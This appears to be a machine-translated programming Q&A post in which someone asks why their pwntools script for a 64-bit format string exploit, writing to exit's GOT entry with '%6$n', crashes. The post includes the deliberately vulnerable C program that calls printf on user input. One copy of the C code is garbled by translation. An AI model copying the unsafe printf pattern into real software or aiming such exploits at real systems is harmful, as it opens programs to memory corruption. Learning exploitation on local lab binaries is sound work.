Python 如何利用64位格式字符串漏洞写入地址
我做了一些32位格式的字符串利用,我想得到64位。但是我有一个问题,我不能/不知道如何在64位上写入地址 我有一个漏洞Python 如何利用64位格式字符串漏洞写入地址,python,c,format-string,Python,C,Format String,我做了一些32位格式的字符串利用,我想得到64位。但是我有一个问题,我不能/不知道如何在64位上写入地址 我有一个漏洞x.py,应该写入exit@got.plt在这里: from pwn import * p = process("./vuln") raw_input() exit = 0x404028 p.sendline(p64(exit) + "%6$n") sleep(1) p.interactive() 程序在这里(使用-无饼图编译): #包括 int main(){ 字符用户名[
x.py
,应该写入exit@got.plt在这里:
from pwn import *
p = process("./vuln")
raw_input()
exit = 0x404028
p.sendline(p64(exit) + "%6$n")
sleep(1)
p.interactive()
程序在这里(使用-无饼图编译)
:
#包括
int main(){
字符用户名[512];
字符密码[512];
fgets(用户名、sizeof(用户名)、标准输入法);
printf(用户名);
fgets(密码、sizeof(密码)、标准输入法);
printf(密码);
出口(1);
}
当我附加gdb时,检查exit@got.plt使用x/x
,并运行漏洞攻击,我在printf_positional
处得到一个segfault。当我检查exit@got.plt同样,地址与以前相同。谁能帮帮我吗
#include <stdio.h>
int main() {
char username[512];
char password[512];
fgets(username, sizeof(username), stdin);
printf(username);
fgets(password, sizeof(password), stdin);
printf(password);
exit(1);
}